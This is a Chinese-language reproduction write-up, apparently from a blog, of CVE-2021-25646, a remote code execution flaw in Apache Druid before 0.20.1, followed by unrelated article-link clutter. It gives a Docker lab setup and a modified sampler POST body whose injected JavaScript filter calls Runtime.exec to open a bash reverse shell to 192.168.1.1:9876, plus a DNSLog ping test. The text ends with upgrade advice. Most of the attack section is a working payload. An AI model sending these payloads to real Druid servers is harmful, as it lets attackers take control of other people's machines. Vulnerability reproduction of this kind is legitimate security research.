CVE-2021-25646:Apache Druid远程命令执行漏洞复现

漏洞概述

Apache Druid 是一个分布式的数据处理系统。Apache Druid包括执行用户提供的JavaScript的功能嵌入在各种类型请求中的代码。在Druid 0.20.0及更低版本中,用户发送恶意请求,利用Apache Druid漏洞可以执行任意代码。攻击者可直接构造恶意请求执行任意代码,控制服务器。

影响版本

Apache Druid < 0.20.1

环境搭建

复制代码
docker pull fokkodriesprong/docker-druid
docker run --rm -i -p 8888:8888 fokkodriesprong/docker-druid

漏洞复现

访问8888端口,进入Apache Druid首页:

点击左上方Load data -> Local disk:

右侧表单填入:
Base directory:
quickstart/tutorial/
File filter:
wikiticker-2015-09-12-sampled.json.gz

接下来一路点击next,直到下一步是Filter时,抓取数据包:

此时替换数据包中POST的data数据,原始数据:

复制代码
{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"quickstart/tutorial/","filter":"wikiticker-2015-09-12-sampled.json.gz"}},"dataSchema":{"dataSource":"sample","parser":{"type":"string","parseSpec":{"format":"json","timestampSpec":{"column":"time","format":"iso"},"dimensionsSpec":{}}},"transformSpec":{"transforms":[]}}},"samplerConfig":{"numRows":500,"timeoutMs":15000,"cacheKey":"4ddb48fdbad7406084e37a1b80100214"}}

替换后的数据:

复制代码
{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"quickstart/tutorial/","filter":"wikiticker-2015-09-12-sampled.json.gz"}},"dataSchema":{"dataSource":"sample","parser":{"type":"string","parseSpec":{"format":"json","timestampSpec":{"column":"time","format":"iso"},"dimensionsSpec":{}}},"transformSpec":{"transforms":[],"filter":{"type":"javascript",
"function":"function(value){return java.lang.Runtime.getRuntime().exec('bash -i >& /dev/tcp/192.168.1.1/9876 0>&1')}",
"dimension":"added",
"":{
"enabled":"true"
}
}}}},"samplerConfig":{"numRows":500,"timeoutMs":15000,"cacheKey":"4ddb48fdbad7406084e37a1b80100214"}}

其中,执行命令的代码为:

复制代码
"function":"function(value){return java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >& /dev/tcp/192.168.1.1/9876 0>&1')}"

DNSLog测试

复制代码
exec('ping xxx.dnslog.cn -c 1')

反弹shell

复制代码
exec('/bin/bash -c $@|bash 0 echo bash -i >& /dev/tcp/192.168.1.1/9876 0>&1')

成功反弹shell。

修复建议

升级到最新版Apache Druid 0.20.1

下载链接:https://druid.apache.org/downloads.html

相关推荐
回忆2012初秋1 天前
.NET 时序数据操作实战:Apache IoTDB连接与 CRUD 完全指南
.net·apache·iotdb
weixin_430750931 天前
部署FreeRadius+php+apache+mariaDB+daloradius 实现认证计费功能
php·apache·mariadb·daloradius·freeradius
还在忙碌的吴小二2 天前
Apache HertzBeat 安装使用完整指南
apache
web前端神器2 天前
记录uniapp小程序的报错
小程序·uni-app·apache
zhojiew3 天前
在AWS上完成Apache Doris存算一体/存算分离和湖仓数据库部署的实践
数据库·apache·aws
想你依然心痛4 天前
大数据时代时序数据库选型指南:Apache IoTDB 的实战进阶与避坑法则
大数据·apache·时序数据库
李白你好4 天前
ActiveMQ-EXPtools支持检测和利用Apache ActiveMQ漏洞
apache·activemq
俺爱吃萝卜5 天前
开源贡献指南:如何给Apache或Linux内核提PR?
linux·开源·apache
Ulyanov7 天前
Apache Kafka在雷达仿真数据流处理中的应用
分布式·python·kafka·apache·雷达电子战
anzhxu7 天前
防火墙安全策略(基本配置)
服务器·php·apache